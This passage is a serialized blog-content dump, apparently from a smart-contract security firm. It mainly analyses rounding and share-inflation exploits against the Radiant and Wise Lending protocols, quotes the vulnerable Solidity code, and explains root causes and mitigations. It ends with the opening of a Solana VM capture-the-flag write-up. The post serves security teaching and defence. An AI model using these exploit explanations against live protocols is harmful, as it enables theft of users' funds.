was ",{"type":26,"tag":163,"props":119654,"children":119657},{"href":119655,"rel":119656},"https://arbiscan.io/tx/0x1ce7e9a9e3b6dd3293c9067221ac3260858ce119ecb7ca860eac28b2474c7c9b",[167],[119658],{"type":32,"value":119659},"hacked on Jan 2nd",{"type":32,"value":119661}," for about $4.5M. This was the original example of exploiting rounding on otherwise inconsequential shares.",{"type":26,"tag":39,"props":119663,"children":119664},{},[119665,119667,119674],{"type":32,"value":119666},"The exploit is relatively straightforward and ",{"type":26,"tag":163,"props":119668,"children":119671},{"href":119669,"rel":119670},"https://medium.com/@_kcyw/radiant-capital-hack-explained-1633289be150",[167],[119672],{"type":32,"value":119673},"has already been covered previously",{"type":32,"value":180},{"type":26,"tag":39,"props":119676,"children":119677},{},[119678],{"type":32,"value":119679},"At a high level, this exploit is exactly what you'd expect. If shares were worth $1000 each, and the user tried to withdraw $1999, they only needed to burn one share. Free money.",{"type":26,"tag":607,"props":119681,"children":119683},{"id":119682},"wise-lending",[119684],{"type":32,"value":119685},"Wise Lending",{"type":26,"tag":39,"props":119687,"children":119688},{},[119689,119691,119698],{"type":32,"value":119690},"Wise Lending was ",{"type":26,"tag":163,"props":119692,"children":119695},{"href":119693,"rel":119694},"https://etherscan.io/tx/0x04e16a79ff928db2fa88619cdd045cdfc7979a61d836c9c9e585b3d6f6d8bc31",[167],[119696],{"type":32,"value":119697},"hacked on January 13th",{"type":32,"value":119699}," for just under $460,000.",{"type":26,"tag":39,"props":119701,"children":119702},{},[119703],{"type":32,"value":119704},"Again, share prices were inflated artificially high. However, the rounding direction seemed to be correct. This was a new variant.",{"type":26,"tag":39,"props":119706,"children":119707},{},[119708,119709,119716,119718,119725],{"type":32,"value":46789},{"type":26,"tag":163,"props":119710,"children":119713},{"href":119711,"rel":119712},"https://etherscan.io/address/0x829c3AE2e82760eCEaD0F384918a650F8a31Ba18",[167],[119714],{"type":32,"value":119715},"the code responsible",{"type":32,"value":119717}," for checking if a withdrawal is valid. As a hint, a critical invariant for lending protocols is that there's ",{"type":26,"tag":163,"props":119719,"children":119722},{"href":119720,"rel":119721},"https://www.chainalysis.com/blog/euler-finance-flash-loan-attack/",[167],[119723],{"type":32,"value":119724},"no way to atomically self-bankrupt",{"type":32,"value":180},{"type":26,"tag":207,"props":119727,"children":119729},{"className":59407,"code":119728,"language":59409,"meta":8,"style":8},"uint256 withdrawValue = WISE_ORACLE.getTokensInETH(\n    _poolToken,\n    _amount\n)\n    * WISE_LENDING.lendingPoolData(_poolToken).collateralFactor\n    / PRECISION_FACTOR_E18;\n\nbool state = borrowPercentageCap\n    * (overallETHCollateralsWeighted(_nftId) - withdrawValue)\n    / PRECISION_FACTOR_E18\n    \u003C borrowAmount;\n\nif (state == true) {\n    revert ResultsInBadDebt();\n}\n",[119730],{"type":26,"tag":83,"props":119731,"children":119732},{"__ignoreMap":8},[119733,119763,119771,119779,119786,119809,119822,119829,119850,119880,119892,119904,119911,119935,119952],{"type":26,"tag":217,"props":119734,"children":119735},{"class":7028,"line":7029},[119736,119740,119745,119749,119754,119759],{"type":26,"tag":217,"props":119737,"children":119738},{"style":7119},[119739],{"type":32,"value":59516},{"type":26,"tag":217,"props":119741,"children":119742},{"style":7048},[119743],{"type":32,"value":119744}," withdrawValue ",{"type":26,"tag":217,"props":119746,"children":119747},{"style":7149},[119748],{"type":32,"value":267},{"type":26,"tag":217,"props":119750,"children":119751},{"style":7048},[119752],{"type":32,"value":119753}," WISE_ORACLE.",{"type":26,"tag":217,"props":119755,"children":119756},{"style":7064},[119757],{"type":32,"value":119758},"getTokensInETH",{"type":26,"tag":217,"props":119760,"children":119761},{"style":7048},[119762],{"type":32,"value":10932},{"type":26,"tag":217,"props":119764,"children":119765},{"class":7028,"line":6770},[119766],{"type":26,"tag":217,"props":119767,"children":119768},{"style":7048},[119769],{"type":32,"value":119770},"    _poolToken,\n",{"type":26,"tag":217,"props":119772,"children":119773},{"class":7028,"line":6779},[119774],{"type":26,"tag":217,"props":119775,"children":119776},{"style":7048},[119777],{"type":32,"value":119778},"    _amount\n",{"type":26,"tag":217,"props":119780,"children":119781},{"class":7028,"line":7140},[119782],{"type":26,"tag":217,"props":119783,"children":119784},{"style":7048},[119785],{"type":32,"value":10025},{"type":26,"tag":217,"props":119787,"children":119788},{"class":7028,"line":7165},[119789,119794,119799,119804],{"type":26,"tag":217,"props":119790,"children":119791},{"style":7149},[119792],{"type":32,"value":119793},"    *",{"type":26,"tag":217,"props":119795,"children":119796},{"style":7048},[119797],{"type":32,"value":119798}," WISE_LENDING.",{"type":26,"tag":217,"props":119800,"children":119801},{"style":7064},[119802],{"type":32,"value":119803},"lendingPoolData",{"type":26,"tag":217,"props":119805,"children":119806},{"style":7048},[119807],{"type":32,"value":119808},"(_poolToken).collateralFactor\n",{"type":26,"tag":217,"props":119810,"children":119811},{"class":7028,"line":7178},[119812,119817],{"type":26,"tag":217,"props":119813,"children":119814},{"style":7149},[119815],{"type":32,"value":119816},"    /",{"type":26,"tag":217,"props":119818,"children":119819},{"style":7048},[119820],{"type":32,"value":119821}," PRECISION_FACTOR_E18;\n",{"type":26,"tag":217,"props":119823,"children":119824},{"class":7028,"line":7389},[119825],{"type":26,"tag":217,"props":119826,"children":119827},{"emptyLinePlaceholder":17},[119828],{"type":32,"value":7817},{"type":26,"tag":217,"props":119830,"children":119831},{"class":7028,"line":7406},[119832,119836,119841,119845],{"type":26,"tag":217,"props":119833,"children":119834},{"style":7119},[119835],{"type":32,"value":74880},{"type":26,"tag":217,"props":119837,"children":119838},{"style":7048},[119839],{"type":32,"value":119840}," state ",{"type":26,"tag":217,"props":119842,"children":119843},{"style":7149},[119844],{"type":32,"value":267},{"type":26,"tag":217,"props":119846,"children":119847},{"style":7048},[119848],{"type":32,"value":119849}," borrowPercentageCap\n",{"type":26,"tag":217,"props":119851,"children":119852},{"class":7028,"line":7439},[119853,119857,119861,119866,119871,119875],{"type":26,"tag":217,"props":119854,"children":119855},{"style":7149},[119856],{"type":32,"value":119793},{"type":26,"tag":217,"props":119858,"children":119859},{"style":7048},[119860],{"type":32,"value":7051},{"type":26,"tag":217,"props":119862,"children":119863},{"style":7064},[119864],{"type":32,"value":119865},"overallETHCollateralsWeighted",{"type":26,"tag":217,"props":119867,"children":119868},{"style":7048},[119869],{"type":32,"value":119870},"(_nftId) ",{"type":26,"tag":217,"props":119872,"children":119873},{"style":7149},[119874],{"type":32,"value":18420},{"type":26,"tag":217,"props":119876,"children":119877},{"style":7048},[119878],{"type":32,"value":119879}," withdrawValue)\n",{"type":26,"tag":217,"props":119881,"children":119882},{"class":7028,"line":7487},[119883,119887],{"type":26,"tag":217,"props":119884,"children":119885},{"style":7149},[119886],{"type":32,"value":119816},{"type":26,"tag":217,"props":119888,"children":119889},{"style":7048},[119890],{"type":32,"value":119891}," PRECISION_FACTOR_E18\n",{"type":26,"tag":217,"props":119893,"children":119894},{"class":7028,"line":7524},[119895,119899],{"type":26,"tag":217,"props":119896,"children":119897},{"style":7149},[119898],{"type":32,"value":7321},{"type":26,"tag":217,"props":119900,"children":119901},{"style":7048},[119902],{"type":32,"value":119903}," borrowAmount;\n",{"type":26,"tag":217,"props":119905,"children":119906},{"class":7028,"line":7553},[119907],{"type":26,"tag":217,"props":119908,"children":119909},{"emptyLinePlaceholder":17},[119910],{"type":32,"value":7817},{"type":26,"tag":217,"props":119912,"children":119913},{"class":7028,"line":7570},[119914,119918,119923,119927,119931],{"type":26,"tag":217,"props":119915,"children":119916},{"style":7042},[119917],{"type":32,"value":7045},{"type":26,"tag":217,"props":119919,"children":119920},{"style":7048},[119921],{"type":32,"value":119922}," (state ",{"type":26,"tag":217,"props":119924,"children":119925},{"style":7149},[119926],{"type":32,"value":9106},{"type":26,"tag":217,"props":119928,"children":119929},{"style":7154},[119930],{"type":32,"value":7902},{"type":26,"tag":217,"props":119932,"children":119933},{"style":7048},[119934],{"type":32,"value":7618},{"type":26,"tag":217,"props":119936,"children":119937},{"class":7028,"line":7621},[119938,119943,119948],{"type":26,"tag":217,"props":119939,"children":119940},{"style":7042},[119941],{"type":32,"value":119942},"    revert",{"type":26,"tag":217,"props":119944,"children":119945},{"style":7064},[119946],{"type":32,"value":119947}," ResultsInBadDebt",{"type":26,"tag":217,"props":119949,"children":119950},{"style":7048},[119951],{"type":32,"value":8217},{"type":26,"tag":217,"props":119953,"children":119954},{"class":7028,"line":7672},[119955],{"type":26,"tag":217,"props":119956,"children":119957},{"style":7048},[119958],{"type":32,"value":7184},{"type":26,"tag":39,"props":119960,"children":119961},{},[119962],{"type":32,"value":119963},"The critical observation is that this code operates on token amounts, while the internal accounting necessarily operates on shares.",{"type":26,"tag":39,"props":119965,"children":119966},{},[119967],{"type":32,"value":119968},"Consider: you have one share worth $1000 and (correctly) can borrow $500. If you tried to withdraw $1, the code would round up to withdraw your one share worth $1000, causing you to be immediately liquidatable!",{"type":26,"tag":39,"props":119970,"children":119971},{},[119972,119974,119980],{"type":32,"value":119973},"And indeed, ",{"type":26,"tag":163,"props":119975,"children":119978},{"href":119976,"rel":119977},"https://etherscan.io/address/0x37e49bf3749513A02FA535F0CbC383796E8107E4",[167],[119979],{"type":32,"value":119685},{"type":32,"value":119981}," rounds up the share value.",{"type":26,"tag":207,"props":119983,"children":119985},{"className":59407,"code":119984,"language":59409,"meta":8,"style":8},"function _calculateShares(\n    uint256 _product,\n    uint256 _pseudo,\n    bool _maxSharePrice\n)\n    private\n    pure\n    returns (uint256)\n{\n    return _maxSharePrice == true\n        ? _product % _pseudo == 0\n            ? _product / _pseudo\n            : _product / _pseudo + 1\n        : _product / _pseudo;\n}\n",[119986],{"type":26,"tag":83,"props":119987,"children":119988},{"__ignoreMap":8},[119989,120005,120022,120038,120050,120057,120065,120073,120092,120099,120119,120140,120162,120192,120213],{"type":26,"tag":217,"props":119990,"children":119991},{"class":7028,"line":7029},[119992,119996,120001],{"type":26,"tag":217,"props":119993,"children":119994},{"style":7154},[119995],{"type":32,"value":7604},{"type":26,"tag":217,"props":119997,"children":119998},{"style":7064},[119999],{"type":32,"value":120000}," _calculateShares",{"type":26,"tag":217,"props":120002,"children":120003},{"style":7048},[120004],{"type":32,"value":10932},{"type":26,"tag":217,"props":120006,"children":120007},{"class":7028,"line":6770},[120008,120013,120018],{"type":26,"tag":217,"props":120009,"children":120010},{"style":7119},[120011],{"type":32,"value":120012},"    uint256",{"type":26,"tag":217,"props":120014,"children":120015},{"style":7054},[120016],{"type":32,"value":120017}," _product",{"type":26,"tag":217,"props":120019,"children":120020},{"style":7048},[120021],{"type":32,"value":10953},{"type":26,"tag":217,"props":120023,"children":120024},{"class":7028,"line":6779},[120025,120029,120034],{"type":26,"tag":217,"props":120026,"children":120027},{"style":7119},[120028],{"type":32,"value":120012},{"type":26,"tag":217,"props":120030,"children":120031},{"style":7054},[120032],{"type":32,"value":120033}," _pseudo",{"type":26,"tag":217,"props":120035,"children":120036},{"style":7048},[120037],{"type":32,"value":10953},{"type":26,"tag":217,"props":120039,"children":120040},{"class":7028,"line":7140},[120041,120045],{"type":26,"tag":217,"props":120042,"children":120043},{"style":7119},[120044],{"type":32,"value":35373},{"type":26,"tag":217,"props":120046,"children":120047},{"style":7054},[120048],{"type":32,"value":120049}," _maxSharePrice\n",{"type":26,"tag":217,"props":120051,"children":120052},{"class":7028,"line":7165},[120053],{"type":26,"tag":217,"props":120054,"children":120055},{"style":7048},[120056],{"type":32,"value":10025},{"type":26,"tag":217,"props":120058,"children":120059},{"class":7028,"line":7178},[120060],{"type":26,"tag":217,"props":120061,"children":120062},{"style":7154},[120063],{"type":32,"value":120064},"    private\n",{"type":26,"tag":217,"props":120066,"children":120067},{"class":7028,"line":7389},[120068],{"type":26,"tag":217,"props":120069,"children":120070},{"style":7154},[120071],{"type":32,"value":120072},"    pure\n",{"type":26,"tag":217,"props":120074,"children":120075},{"class":7028,"line":7406},[120076,120080,120084,120088],{"type":26,"tag":217,"props":120077,"children":120078},{"style":7042},[120079],{"type":32,"value":61267},{"type":26,"tag":217,"props":120081,"children":120082},{"style":7048},[120083],{"type":32,"value":7051},{"type":26,"tag":217,"props":120085,"children":120086},{"style":7119},[120087],{"type":32,"value":59516},{"type":26,"tag":217,"props":120089,"children":120090},{"style":7048},[120091],{"type":32,"value":10025},{"type":26,"tag":217,"props":120093,"children":120094},{"class":7028,"line":7439},[120095],{"type":26,"tag":217,"props":120096,"children":120097},{"style":7048},[120098],{"type":32,"value":10033},{"type":26,"tag":217,"props":120100,"children":120101},{"class":7028,"line":7487},[120102,120106,120111,120115],{"type":26,"tag":217,"props":120103,"children":120104},{"style":7042},[120105],{"type":32,"value":7171},{"type":26,"tag":217,"props":120107,"children":120108},{"style":7048},[120109],{"type":32,"value":120110}," _maxSharePrice ",{"type":26,"tag":217,"props":120112,"children":120113},{"style":7149},[120114],{"type":32,"value":9106},{"type":26,"tag":217,"props":120116,"children":120117},{"style":7154},[120118],{"type":32,"value":116368},{"type":26,"tag":217,"props":120120,"children":120121},{"class":7028,"line":7524},[120122,120127,120132,120136],{"type":26,"tag":217,"props":120123,"children":120124},{"style":7149},[120125],{"type":32,"value":120126},"        ?",{"type":26,"tag":217,"props":120128,"children":120129},{"style":7048},[120130],{"type":32,"value":120131}," _product % _pseudo ",{"type":26,"tag":217,"props":120133,"children":120134},{"style":7149},[120135],{"type":32,"value":9106},{"type":26,"tag":217,"props":120137,"children":120138},{"style":7130},[120139],{"type":32,"value":92366},{"type":26,"tag":217,"props":120141,"children":120142},{"class":7028,"line":7553},[120143,120148,120153,120157],{"type":26,"tag":217,"props":120144,"children":120145},{"style":7149},[120146],{"type":32,"value":120147},"            ?",{"type":26,"tag":217,"props":120149,"children":120150},{"style":7048},[120151],{"type":32,"value":120152}," _product ",{"type":26,"tag":217,"props":120154,"children":120155},{"style":7149},[120156],{"type":32,"value":5756},{"type":26,"tag":217,"props":120158,"children":120159},{"style":7048},[120160],{"type":32,"value":120161}," _pseudo\n",{"type":26,"tag":217,"props":120163,"children":120164},{"class":7028,"line":7570},[120165,120170,120174,120178,120183,120187],{"type":26,"tag":217,"props":120166,"children":120167},{"style":7149},[120168],{"type":32,"value":120169},"            :",{"type":26,"tag":217,"props":120171,"children":120172},{"style":7048},[120173],{"type":32,"value":120152},{"type":26,"tag":217,"props":120175,"children":120176},{"style":7149},[120177],{"type":32,"value":5756},{"type":26,"tag":217,"props":120179,"children":120180},{"style":7048},[120181],{"type":32,"value":120182}," _pseudo ",{"type":26,"tag":217,"props":120184,"children":120185},{"style":7149},[120186],{"type":32,"value":3540},{"type":26,"tag":217,"props":120188,"children":120189},{"style":7130},[120190],{"type":32,"value":120191}," 1\n",{"type":26,"tag":217,"props":120193,"children":120194},{"class":7028,"line":7621},[120195,120200,120204,120208],{"type":26,"tag":217,"props":120196,"children":120197},{"style":7149},[120198],{"type":32,"value":120199},"        :",{"type":26,"tag":217,"props":120201,"children":120202},{"style":7048},[120203],{"type":32,"value":120152},{"type":26,"tag":217,"props":120205,"children":120206},{"style":7149},[120207],{"type":32,"value":5756},{"type":26,"tag":217,"props":120209,"children":120210},{"style":7048},[120211],{"type":32,"value":120212}," _pseudo;\n",{"type":26,"tag":217,"props":120214,"children":120215},{"class":7028,"line":7672},[120216],{"type":26,"tag":217,"props":120217,"children":120218},{"style":7048},[120219],{"type":32,"value":7184},{"type":26,"tag":39,"props":120221,"children":120222},{},[120223,120228],{"type":26,"tag":65,"props":120224,"children":120225},{},[120226],{"type":32,"value":120227},"Regardless of which way the share rounding occurs, this is a bug",{"type":32,"value":120229},". The correct way would be to do calculations in units of shares and force users to withdraw in increments of shares (and then round down the tokens ultimately received in the end).",{"type":26,"tag":39,"props":120231,"children":120232},{},[120233],{"type":32,"value":120234},"This is a really tricky invariant to reason about!",{"type":26,"tag":27,"props":120236,"children":120238},{"id":120237},"root-cause",[120239],{"type":32,"value":120240},"Root Cause",{"type":26,"tag":39,"props":120242,"children":120243},{},[120244],{"type":32,"value":120245},"Even though this sort of exploit seems pervasive, it requires quite a lot of factors to be exploitable.",{"type":26,"tag":39,"props":120247,"children":120248},{},[120249],{"type":32,"value":120250},"Most importantly, the share value needs to be inflatable. Usually, this requires an integer representation for both shares and tokens. The conversion rate also needs to be expressed in terms of the shares and tokens as opposed to being stored separately.",{"type":26,"tag":207,"props":120252,"children":120254},{"className":59407,"code":120253,"language":59409,"meta":8,"style":8},"totalDepositShares * _amount / pseudoTotalPool\n",[120255],{"type":26,"tag":83,"props":120256,"children":120257},{"__ignoreMap":8},[120258],{"type":26,"tag":217,"props":120259,"children":120260},{"class":7028,"line":7029},[120261,120266,120270,120275,120279],{"type":26,"tag":217,"props":120262,"children":120263},{"style":7048},[120264],{"type":32,"value":120265},"totalDepositShares ",{"type":26,"tag":217,"props":120267,"children":120268},{"style":7149},[120269],{"type":32,"value":10006},{"type":26,"tag":217,"props":120271,"children":120272},{"style":7048},[120273],{"type":32,"value":120274}," _amount ",{"type":26,"tag":217,"props":120276,"children":120277},{"style":7149},[120278],{"type":32,"value":5756},{"type":26,"tag":217,"props":120280,"children":120281},{"style":7048},[120282],{"type":32,"value":120283}," pseudoTotalPool\n",{"type":26,"tag":39,"props":120285,"children":120286},{},[120287],{"type":32,"value":120288},"The second critical requirement is a generally empty pool. Inflating the share value means that all other shares also rise in value. If there are shares that are not controlled by the attacker, this would mean giving other users free money, almost definitely stopping inflation attacks.",{"type":26,"tag":39,"props":120290,"children":120291},{},[120292,120294,120299],{"type":32,"value":120293},"Finally, there must be improper rounding or accounting. This last requirement is generally easiest to satisfy. Share rounding is a new attack vector, and people haven't thought carefully about proper treatment of dust. Have you analyzed ",{"type":26,"tag":65,"props":120295,"children":120296},{},[120297],{"type":32,"value":120298},"every",{"type":32,"value":120300}," integer division?",{"type":26,"tag":27,"props":120302,"children":120304},{"id":120303},"mitigations",[120305],{"type":32,"value":120306},"Mitigations",{"type":26,"tag":39,"props":120308,"children":120309},{},[120310],{"type":32,"value":120311},"The easiest way to prevent this attack is to prevent share values from being manipulated. An unexpectedly high share value can lead to denial of service scenarios and is probably worth mitigating by itself.",{"type":26,"tag":39,"props":120313,"children":120314},{},[120315,120317,120324],{"type":32,"value":120316},"The best way is to ensure that the pool has some amount of deposits on deployment, whether operationally or programmatically. As ",{"type":26,"tag":163,"props":120318,"children":120321},{"href":120319,"rel":120320},"https://twitter.com/danielvf/status/1746306320553152615",[167],[120322],{"type":32,"value":120323},"@danielvf notes",{"type":32,"value":120325},", protocols like Uniswap burn a portion of the initial deposit for this very reason.",{"type":26,"tag":207,"props":120327,"children":120329},{"className":59407,"code":120328,"language":59409,"meta":8,"style":8},"if (_totalSupply == 0) {\n    liquidity = Math.sqrt(amount0.mul(amount1)).sub(MINIMUM_LIQUIDITY);\n   _mint(address(0), MINIMUM_LIQUIDITY); // permanently lock the first MINIMUM_LIQUIDITY tokens\n} else {\n",[120330],{"type":26,"tag":83,"props":120331,"children":120332},{"__ignoreMap":8},[120333,120357,120404,120438],{"type":26,"tag":217,"props":120334,"children":120335},{"class":7028,"line":7029},[120336,120340,120345,120349,120353],{"type":26,"tag":217,"props":120337,"children":120338},{"style":7042},[120339],{"type":32,"value":7045},{"type":26,"tag":217,"props":120341,"children":120342},{"style":7048},[120343],{"type":32,"value":120344}," (_totalSupply ",{"type":26,"tag":217,"props":120346,"children":120347},{"style":7149},[120348],{"type":32,"value":9106},{"type":26,"tag":217,"props":120350,"children":120351},{"style":7130},[120352],{"type":32,"value":9922},{"type":26,"tag":217,"props":120354,"children":120355},{"style":7048},[120356],{"type":32,"value":7618},{"type":26,"tag":217,"props":120358,"children":120359},{"class":7028,"line":6770},[120360,120365,120369,120374,120379,120384,120389,120394,120399],{"type":26,"tag":217,"props":120361,"children":120362},{"style":7048},[120363],{"type":32,"value":120364},"    liquidity ",{"type":26,"tag":217,"props":120366,"children":120367},{"style":7149},[120368],{"type":32,"value":267},{"type":26,"tag":217,"props":120370,"children":120371},{"style":7048},[120372],{"type":32,"value":120373}," Math.",{"type":26,"tag":217,"props":120375,"children":120376},{"style":7064},[120377],{"type":32,"value":120378},"sqrt",{"type":26,"tag":217,"props":120380,"children":120381},{"style":7048},[120382],{"type":32,"value":120383},"(amount0.",{"type":26,"tag":217,"props":120385,"children":120386},{"style":7064},[120387],{"type":32,"value":120388},"mul",{"type":26,"tag":217,"props":120390,"children":120391},{"style":7048},[120392],{"type":32,"value":120393},"(amount1)).",{"type":26,"tag":217,"props":120395,"children":120396},{"style":7064},[120397],{"type":32,"value":120398},"sub",{"type":26,"tag":217,"props":120400,"children":120401},{"style":7048},[120402],{"type":32,"value":120403},"(MINIMUM_LIQUIDITY);\n",{"type":26,"tag":217,"props":120405,"children":120406},{"class":7028,"line":6779},[120407,120412,120416,120420,120424,120428,120433],{"type":26,"tag":217,"props":120408,"children":120409},{"style":7064},[120410],{"type":32,"value":120411},"   _mint",{"type":26,"tag":217,"props":120413,"children":120414},{"style":7048},[120415],{"type":32,"value":1851},{"type":26,"tag":217,"props":120417,"children":120418},{"style":7119},[120419],{"type":32,"value":60135},{"type":26,"tag":217,"props":120421,"children":120422},{"style":7048},[120423],{"type":32,"value":1851},{"type":26,"tag":217,"props":120425,"children":120426},{"style":7130},[120427],{"type":32,"value":1883},{"type":26,"tag":217,"props":120429,"children":120430},{"style":7048},[120431],{"type":32,"value":120432},"), MINIMUM_LIQUIDITY); ",{"type":26,"tag":217,"props":120434,"children":120435},{"style":7033},[120436],{"type":32,"value":120437},"// permanently lock the first MINIMUM_LIQUIDITY tokens\n",{"type":26,"tag":217,"props":120439,"children":120440},{"class":7028,"line":7140},[120441,120445,120449],{"type":26,"tag":217,"props":120442,"children":120443},{"style":7048},[120444],{"type":32,"value":24770},{"type":26,"tag":217,"props":120446,"children":120447},{"style":7042},[120448],{"type":32,"value":40852},{"type":26,"tag":217,"props":120450,"children":120451},{"style":7048},[120452],{"type":32,"value":8064},{"type":26,"tag":39,"props":120454,"children":120455},{},[120456,120458,120465],{"type":32,"value":120457},"Alternatively, ",{"type":26,"tag":163,"props":120459,"children":120462},{"href":120460,"rel":120461},"https://github.com/SynonymFinance/smart-contracts-public/blob/759c6afe45720e26d731f081dfc747787ad7ae20/evm/src/contracts/lendingHub/HubInterestUtilities.sol#L52-L53",[167],[120463],{"type":32,"value":120464},"storing the conversion rate separately",{"type":32,"value":120466}," can also suffice. A key factor is that depositing additional tokens or burning shares affects the conversion rate. If the conversion rate is hardcoded and updated only during interest accrual, there's nothing to manipulate.",{"type":26,"tag":207,"props":120468,"children":120470},{"className":59407,"code":120469,"language":59409,"meta":8,"style":8},"accrualIndices.borrowed = accrualIndices.borrowed * borrowInterestFactor / precision;\naccrualIndices.deposited = accrualIndices.deposited * depositInterestFactor / precision;\n",[120471],{"type":26,"tag":83,"props":120472,"children":120473},{"__ignoreMap":8},[120474,120509],{"type":26,"tag":217,"props":120475,"children":120476},{"class":7028,"line":7029},[120477,120482,120486,120491,120495,120500,120504],{"type":26,"tag":217,"props":120478,"children":120479},{"style":7048},[120480],{"type":32,"value":120481},"accrualIndices.borrowed ",{"type":26,"tag":217,"props":120483,"children":120484},{"style":7149},[120485],{"type":32,"value":267},{"type":26,"tag":217,"props":120487,"children":120488},{"style":7048},[120489],{"type":32,"value":120490}," accrualIndices.borrowed ",{"type":26,"tag":217,"props":120492,"children":120493},{"style":7149},[120494],{"type":32,"value":10006},{"type":26,"tag":217,"props":120496,"children":120497},{"style":7048},[120498],{"type":32,"value":120499}," borrowInterestFactor ",{"type":26,"tag":217,"props":120501,"children":120502},{"style":7149},[120503],{"type":32,"value":5756},{"type":26,"tag":217,"props":120505,"children":120506},{"style":7048},[120507],{"type":32,"value":120508}," precision;\n",{"type":26,"tag":217,"props":120510,"children":120511},{"class":7028,"line":6770},[120512,120517,120521,120526,120530,120535,120539],{"type":26,"tag":217,"props":120513,"children":120514},{"style":7048},[120515],{"type":32,"value":120516},"accrualIndices.deposited ",{"type":26,"tag":217,"props":120518,"children":120519},{"style":7149},[120520],{"type":32,"value":267},{"type":26,"tag":217,"props":120522,"children":120523},{"style":7048},[120524],{"type":32,"value":120525}," accrualIndices.deposited ",{"type":26,"tag":217,"props":120527,"children":120528},{"style":7149},[120529],{"type":32,"value":10006},{"type":26,"tag":217,"props":120531,"children":120532},{"style":7048},[120533],{"type":32,"value":120534}," depositInterestFactor ",{"type":26,"tag":217,"props":120536,"children":120537},{"style":7149},[120538],{"type":32,"value":5756},{"type":26,"tag":217,"props":120540,"children":120541},{"style":7048},[120542],{"type":32,"value":120508},{"type":26,"tag":39,"props":120544,"children":120545},{},[120546],{"type":32,"value":120547},"We also want to note some general takeaways:",{"type":26,"tag":39,"props":120549,"children":120550},{},[120551,120553,120558],{"type":32,"value":120552},"Invariant testing is overhyped, but is quite applicable here. Instead of attempting to reason about effects after a state change, ",{"type":26,"tag":65,"props":120554,"children":120555},{},[120556],{"type":32,"value":120557},"apply the state changes and check the invariant",{"type":32,"value":180},{"type":26,"tag":39,"props":120560,"children":120561},{},[120562],{"type":32,"value":120563},"From a protocol design perspective, users are withdrawing shares, not tokens. This is an important distinction. Your accounting logic should reason in terms of shares when possible.",{"type":26,"tag":39,"props":120565,"children":120566},{},[120567],{"type":32,"value":120568},"And finally, correct rounding behavior should still be accounted for, even if it doesn't seem impactful.",{"type":26,"tag":27,"props":120570,"children":120571},{"id":9272},[120572],{"type":32,"value":9275},{"type":26,"tag":39,"props":120574,"children":120575},{},[120576],{"type":32,"value":120577},"Rounding forces protocol developers to think carefully about dust. It's not always enough to round against the user. While initially this seems like a novel, scary attack vector, much of the impact can be mitigated operationally.",{"type":26,"tag":39,"props":120579,"children":120580},{},[120581],{"type":32,"value":120582},"As a final exercise to the reader: what is the correct rounding behavior during liquidations?",{"type":26,"tag":9282,"props":120584,"children":120585},{},[120586],{"type":32,"value":9286},{"title":8,"searchDepth":6770,"depth":6770,"links":120588},[120589,120590,120591,120595,120596,120597],{"id":24419,"depth":6770,"text":24422},{"id":119514,"depth":6770,"text":119517},{"id":119633,"depth":6770,"text":119636,"children":120592},[120593,120594],{"id":119644,"depth":6779,"text":119647},{"id":119682,"depth":6779,"text":119685},{"id":120237,"depth":6770,"text":120240},{"id":120303,"depth":6770,"text":120306},{"id":9272,"depth":6770,"text":9275},"content:blog:2024-01-18-rounding-bugs.md","blog/2024-01-18-rounding-bugs.md","blog/2024-01-18-rounding-bugs",{"_path":120602,"_dir":6,"_draft":7,"_partial":7,"_locale":8,"title":120603,"description":120604,"author":120605,"image":120606,"date":120608,"isFeatured":17,"onBlogPage":17,"body":120609,"_type":6799,"_id":126013,"_source":6801,"_file":126014,"_stem":126015,"_extension":6804},"/blog/2023-12-11-jumping-around-in-the-vm","Solana: Jumping Around in the VM","An exploration of low-level Solana VM behavior. How to escalate from a powerful memory corruption primitive to full program control.",[90637,96998],{"src":120607},"/posts/jumping-around-in-the-vm/cover.png","2023-12-11",{"type":23,"children":120610,"toc":126002},[120611,120625,120645,120650,120654,120667,120692,120698,120703,120718,121075,121090,121357,121373,122016,122022,122027,122040,122048,122256,122264,122568,122576,122719,122727,123249,123255,123268,123281,123295,123300,124062,124067,124075,124080,124086,124098,124163,124168,124181,124194,124200,124228,125369,125382,125424,125429,125434,125447,125588,125609,125630,125637,125688,125696,125707,125720,125725,125849,125862,125964,125968,125981,125986,125998],{"type":26,"tag":39,"props":120612,"children":120613},{},[120614,120616,120623],{"type":32,"value":120615},"In the world of CTFs, ",{"type":26,"tag":163,"props":120617,"children":120620},{"href":120618,"rel":120619},"https://twitter.com/paradigm_ctf",[167],[120621],{"type":32,"value":120622},"Paradigm CTF 2023",{"type":32,"value":120624}," was like no other. Presenting a unique Solana challenge, the goal was to leverage Jump Oriented Programming, a web2 binary exploitation technique, inside the Solana VM to achieve arbitrary CPI execution.",{"type":26,"tag":39,"props":120626,"children":120627},{},[120628,120630,120637,120638],{"type":32,"value":120629},"To succeed in this challenge, a strong understanding of the Solana VM is required. We've explored parts of the Solana VM internals in two previous blog posts: ",{"type":26,"tag":163,"props":120631,"children":120634},{"href":120632,"rel":120633},"https://osec.io/blog/2022-03-14-solana-security-intro",[167],[120635],{"type":32,"value":120636},"Solana: An Auditor's Introduction",{"type":32,"value":1308},{"type":26,"tag":163,"props":120639,"children":120642},{"href":120640,"rel":120641},"https://osec.io/blog/2022-08-27-reverse-engineering-solana",[167],[120643],{"type":32,"value":120644},"Reverse Engineering Solana with Binary Ninja.\n",{"type":26,"tag":39,"props":120646,"children":120647},{},[120648],{"type":32,"value":120649},"In this comprehensive overview, we'll break down critical components of the Solana BPF VM necessary to write a complete memory-corruption exploit. We then turn an arbitrary function call and memory write primitive into a full exploit.",{"type":26,"tag":27,"props":120651,"children":120652},{"id":115972},[120653],{"type":32,"value":115975},{"type":26,"tag":39,"props":120655,"children":120656},{},[120657,120659,120665],{"type":32,"value":120658},"The challenge itself resides into ",{"type":26,"tag":83,"props":120660,"children":120662},{"className":120661},[],[120663],{"type":32,"value":120664},"framework/",{"type":32,"value":120666},", and is composed of 2 parts:",{"type":26,"tag":2040,"props":120668,"children":120669},{},[120670,120681],{"type":26,"tag":2044,"props":120671,"children":120672},{},[120673,120679],{"type":26,"tag":83,"props":120674,"children":120676},{"className":120675},[],[120677],{"type":32,"value":120678},"framework/chall/lib.rs",{"type":32,"value":120680},": The on-chain eBPF program that needs to be exploited.",{"type":26,"tag":2044,"props":120682,"children":120683},{},[120684,120690],{"type":26,"tag":83,"props":120685,"children":120687},{"className":120686},[],[120688],{"type":32,"value":120689},"framework/src/main.rs",{"type":32,"value":120691},": Program that setups a solana test environment, gets a single instruction and make it possible to users to interact with the on-chain 